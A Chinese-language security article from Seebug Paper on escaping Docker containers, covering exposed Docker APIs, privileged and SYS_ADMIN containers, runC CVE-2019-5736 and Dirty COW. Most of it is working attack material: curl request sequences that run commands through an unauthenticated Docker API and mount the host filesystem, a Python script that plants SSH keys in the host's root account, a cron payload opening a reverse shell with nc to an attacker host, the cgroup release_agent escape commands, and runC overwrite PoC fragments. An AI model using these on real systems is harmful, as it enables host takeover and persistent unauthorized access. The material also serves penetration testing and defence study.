作者:tom0li
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org
0x00 容器101

docker 啟動的調用鏈如下:
docker-client -> dockerd -> docker-containerd -> docker-containerd-shim -> runc(容器外) -> runc(容器內) -> containter-entrypoint
Docker利用Linux Namespace實現了操作系統級的資源隔離.
逃逸思路:
用戶層: 用戶配置不當
服務層: 容器服務自身缺陷
系統層: Linux內核漏洞
判斷容器命令(不是全部適用)
systemd-detect-virt -c
sudo readlink /proc/1/exe
0x01 用戶配置不當導致隔離失效
前提:
root權限啟動docker
主機上有鏡像,或自己下載鏡像
API版本大于1.5
查看client server 版本信息

0x01.1 docker.sock暴露到公網
docker swarm簡述
docker swarm是管理docker集群的工具。主從管理、默認通過2375端口通信。綁定了一個Docker Remote API的服務,可以通過HTTP、Python、調用API來操作Docker。
起因
官方推薦啟動方式如下
sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
按推薦啟動,在沒有其他網絡訪問限制的主機上使用,則會在公網暴漏端口。 官方使用指南如下
AWS uses a "security group" to allow specific types of network traffic on your VPC network. The default security group’s initial set of rules deny all inbound traffic, allow all outbound traffic, and allow all traffic between instances.
說的是如果在AWS VPC 上使用的,禁止入站訪問,不受影響。
Tip: 影響不只是2375端口,其他https 2376 port etc.
利用方法一 HTTP curl api
在容器上獲取 RCE
1)列出所有容器
第一步是獲取主機上所有容器的列表.
Curl 命令:
curl -i -s -X GET http://<docker_host>:PORT/containers/json
響應:
HTTP/1.1 200 OK
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
Date: Thu, 04 Apr 2019 05:56:03 GMT
Content-Length: 1780
[
{
"Id":"a4621ceab3729702f18cfe852003489341e51e036d13317d8e7016facb8ebbaf",
"Names":["/another_container"],
"Image":"ubuntu:latest",
"ImageID":"sha256:94e814e2efa8845d95b2112d54497fbad173e45121ce9255b93401392f538499",
"Command":"bash",
"Created":1554357359,
"Ports":[],
"Labels":{},
"State":"running",
"Status":"Up 3 seconds",
"HostConfig":{"NetworkMode":"default"},
"NetworkSettings":{"Networks":
...
注意響應中的"Id"字段,因為下一個命令將會用到它。
2) 創建一個 exec
接下來,我們需要創建一個將在容器上執行的"exec"實例。你可以在此處輸入要運行的命令。
請求中的以下項目需要在請求中進行更改:
Container ID Docker Host Port Cmd(我的示例中將 cat /etc/passwd)
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188
{
"AttachStdin": true,
"AttachStdout": true,
"AttachStderr": true,
"Cmd": ["cat", "/etc/passwd"],
"DetachKeys": "ctrl-p,ctrl-q",
"Privileged": true,
"Tty": true
}
Curl 命令:
curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://<docker_host>:PORT/containers/<container_id>/exec
響應:
HTTP/1.1 201 Created
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
Date: Fri, 05 Apr 2019 00:51:31 GMT
Content-Length: 74
{"Id":"8b5e4c65e182cec039d38ddb9c0a931bbba8f689a4b3e1be1b3e8276dd2d1916"}
注意響應中的"Id"字段,因為下一個命令將會用到它。
3)啟動 exec 現在創建了"exec",我們需要運行它。
你需要更改請求中的以下項目:
Exec ID Docker Host Port
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
{
"Detach": false,
"Tty": false
}
Curl 命令:
curl -i -s -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://<docker_host>:PORT/exec/<exec_id>/start
響應:
HTTP/1.1 200 OK
Content-Type: application/vnd.docker.raw-stream
Api-Version: 1.39
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.4 (linux)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
接管主機
啟動一個docker容器,主機的根目錄安裝到容器的一個卷上,這樣就可以對主機的文件系統執行命令。由于本文中所討論的漏洞允許你完全的控制API,因此可以控制docker主機。
注意:不要忘記更改dockerhost,port和containerID
1)下載 ubuntu 鏡像
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest
2)使用已安裝的卷創建容器
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
--data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' \
http://<docker_host>:PORT/containers/create
3)啟動容器
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/containers/<container_ID>/start
至此,你可以利用代碼執行漏洞對新容器運行命令。如果要對Host OS運行命令,請不要忘記添加chroot/hostos。
利用方法二 Docker python api
寫入ssh密鑰
# coding:utf-8
import docker
import socks
import socket
import sys
import re
#開啟代理
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 1081)
#socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 1081)
socket.socket = socks.socksocket
ip = '172.16.145.165'
cli = docker.DockerClient(base_url='tcp://'+ip+':2375', version='auto')
#端口不一定為2375,指定version參數是因為本機和遠程主機的API版本可能不同,指定為auto可以自己判斷版本
image = cli.images.list()[0]
#讀取生成的公鑰
f = open('id_rsa_2048.pub', 'r')
sshKey = f.read()
f.close()
try:
cli.containers.run(
image=image.tags[0],
command='sh -c "echo '+sshKey+' >> /usr/games/authorized_keys"', #這里卡了很久,這是正確有效的寫法,在有重定向時直接寫命令是無法正確執行的,記得加上sh -c
volumes={'/root/.ssh':{'bind': '/usr/games', 'mode': 'rw'}}, #找一個基本所有環境都有的目錄
name='test' #給容器命名,便于后面刪除
)
except docker.errors.ContainerError as e:
print(e)
#刪除容器
try:
container = cli.containers.get('test')
container.remove()
except Expection as e:
continue
計劃任務(by P牛)
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
0x01.2 docker幾個啟動參數
以特權模式啟動時,docker容器內擁有宿主機文件讀寫權限,可以通過寫ssh密鑰、計劃任務等方式達到逃逸。
條件:
以--privileged 參數啟動docker container。
獲得docker container shell,比如通過蜜罐漏洞、業務漏洞等途徑獲得。
--cap-add=SYS_ADMIN 啟動時雖然有掛載權限,但沒發直接獲得資源去掛載,需要其他方法獲得資源或其它思路才能利用。
--net=host 啟動時,繞過Network Namespace
--pid=host 啟動時,繞過PID Namespace
--ipc=host 啟動時,繞過IPC Namespace
--volume /:/host 掛載主機目錄到container
網絡如果沒其他配置,docker不添加網絡限制參數,默認使用橋接網絡,通過docker0可以訪問host。
--privileged 利用
啟動Docker容器。使用此參數時,容器可以完全訪問所有設備,并且不受seccomp,AppArmor和Linux capabilities的限制。
查看磁盤文件: fdisk -l
新建目錄以備掛載: mkdir /aa
將宿主機/dev/sda1目錄掛載至容器內 /aa: mount /dev/sda1 /aa
即可寫文件獲取權限或數據
容器掛載宿主機目錄,執行結果如下:

--cap-add=SYS_ADMIN 利用
前提:
在容器內root用戶
容器必須使用SYS_ADMIN Linux capability運行
容器必須缺少AppArmor配置文件,否則將允許mount syscall
cgroup v1虛擬文件系統必須以讀寫方式安裝在容器內部
思路: 我們需要一個cgroup,可以在其中寫入notify_on_release文件(for enable cgroup notifications),掛載cgroup控制器并創建子cgroup,創建/bin/sh進程并將其PID寫入cgroup.procs文件,sh退出后執行release_agent文件。
步驟
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ls > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
寫入output文件到宿主機截圖如下

0x01.3 docker.sock暴露到容器內部
容器內部可以與docker deamon通信
- 案例:
https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/
https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-bug-2/
0x02 容器服務缺陷
0x02.1 runC cve-2019-5736
1.關于runC
runC 管理容器的創建,運行,銷毀等。
Docker 運行時通常會實現鏡像創建和管理等功能。
runC官方功能描述如下

2.影響版本
| 平臺或產品 | 受影響版本 |
|---|---|
| Docker | Version < 18.09.2 |
| runC | Version <= 1.0-rc6 |
3.runC利用鏈分析 代寫
why 不使用runC init覆蓋,因為CVE-2016-9962 patch。
As a side note, privileged Docker containers (before the new patch) could use the /proc/pid/exe of the runc init process to overwrite the runC binary. To be exact, the specific privileges required are SYS_CAP_PTRACE and disabling AppArmor.
4.復現環境快速搭建
- https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/
利用方法一 Docker EXEC POC
- https://github.com/Frichetten/CVE-2019-5736-PoC/
循環等待 runC init的 PID -> open("/proc/pid/exe",O_RDONLY) -> execve()釋放 runC的IO并覆蓋runC二進制文件 -> execve()執行被覆蓋 runC

利用方法二 惡意鏡像POC
- https://github.com/twistlock/RunC-CVE-2019-5736
思路: 研究人員通過欺騙runC init execve -> runc 執行/proc/self/exe -> /proc/[runc-pid]/exe覆蓋runC 二進制文件
POC文件分析
Dockerfile文件
1.獲取libseccomp文件并將run_at_link文件加入,runC啟動運行libseccomp。
ADD run_at_link.c /root/run_at_link.c
RUN set -e -x ;\
cd /root/libseccomp-* ;\
cat /root/run_at_link.c >> src/api.c ;\
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us ;\
dpkg -i /root/*.deb
2.overwrite_runc添加docker中并編譯 3.使入口點指向runc
RUN set -e -x ;\
ln -s /proc/self/exe /entrypoint
ENTRYPOINT [ "/entrypoint" ]
run_at_link文件
1.run_at_link read runc binary 獲得fd
int runc_fd_read = open("/proc/self/exe", O_RDONLY);
if (runc_fd_read == -1 ) {
printf("[!] can't open /proc/self/exe\n");
return;
}
printf("[+] Opened runC for reading as /proc/self/fd/%d\n", runc_fd_read);
fflush(stdout);
2.調用execve執行overwrite_runc
execve("/overwrite_runc", argv_overwrite, NULL);
3.overwrite_runc寫入poc string
0x02.2 Docker cp (CVE-2019-14271)
- https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
0x02.3 Docker build code execution CVE-2019-13139
- https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/
0x03 內核提權
Dirty cow
對于由內核漏洞引起的漏洞,其實主要流程如下:
- 使用內核漏洞進入內核上下文
- 獲取當前進程的task struct
- 回溯 task list 獲取 pid = 1 的 task struct,復制其相關數據
- 切換當前 namespace
- 打開 root shell,完成逃逸
(一)臟牛漏洞(CVE-2016-5195)與VDSO(虛擬動態共享對象)
Dirty Cow(CVE-2016-5195)是Linux內核中的權限提升漏洞,源于Linux內核的內存子系統在處理寫入時拷貝(copy-on-write, Cow)存在競爭條件(race condition),允許惡意用戶提權獲取其他只讀內存映射的寫訪問權限。
競爭條件意為任務執行順序異常,可能導致應用崩潰或面臨攻擊者的代碼執行威脅。利用該漏洞,攻擊者可在其目標系統內提升權限,甚至獲得root權限。VDSO就是Virtual Dynamic Shared Object(虛擬動態共享對象),即內核提供的虛擬.so。該.so文件位于內核而非磁盤,程序啟動時,內核把包含某.so的內存頁映射入其內存空間,對應程序就可作為普通.so使用其中的函數。
在容器中利用VDSO內存空間中的“clock_gettime() ”函數可對臟牛漏洞發起攻擊,令系統崩潰并獲得root權限的shell,且瀏覽容器之外主機上的文件。
0x04 針對個人攻擊思路
@chernymi 在 Blackhat 分享了針對個人攻擊鏈 觸發鏈接 -> 繞SOP(DNS Rebinding || Host Rebinding) -> Pull Image -> Run Contain -> Persistent
這塊內容待補充
0x05 參考
- vulhub
- exposing-docker.sock
- docker API未授權訪問漏洞分析和利用
- Docker逃逸初探
- 容器逃逸方法 -by cdxy
- 關于 Docker Remote API未授權訪問 的一些研究
- understanding-docker-container-escapes
- google-cloud-shell-bugs
- abusing-insecure-docker-deployments
- cgroups
- Container security notes
- Linux Namespace 1 -by 左耳朵耗子
- Linux Namespace 2 -by 左耳朵耗子
- AUFS -by 左耳朵耗子
- CVE-2019-5736 Docker逃逸 -by swing
- runC容器逃逸漏洞分析
- 探究runC容器逃逸
- CVE-2019-5736 docker escape 漏洞復現
- Blackhat-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence -by @chernymi
- Blackhat-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence.video
- Breaking-docker-via-runc-explaining-cve-2019-5736
- runc 啟動容器過程分析 -by WEI GUO
- namespace與沙箱安全 -by explorer
- Docker逃逸-從一個進程崩潰講起 -by 盧宇
- Docker容器安全性分析
- Docker cp命令漏洞分析
- Docker-docs
- Compendium-Of-Container-Escapes-up.pdf -by Blackhat Edwards
- Compendium-Of-Container-Escapes-up.video -by Blackhat Edwards
- 容器標準化
- gVisor runsc guest->host breakout via filesystem cache desync google開發的功能類似runc
- exploration-of-security-when-building-docker-containers
- 云原生之容器安全實踐
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1288/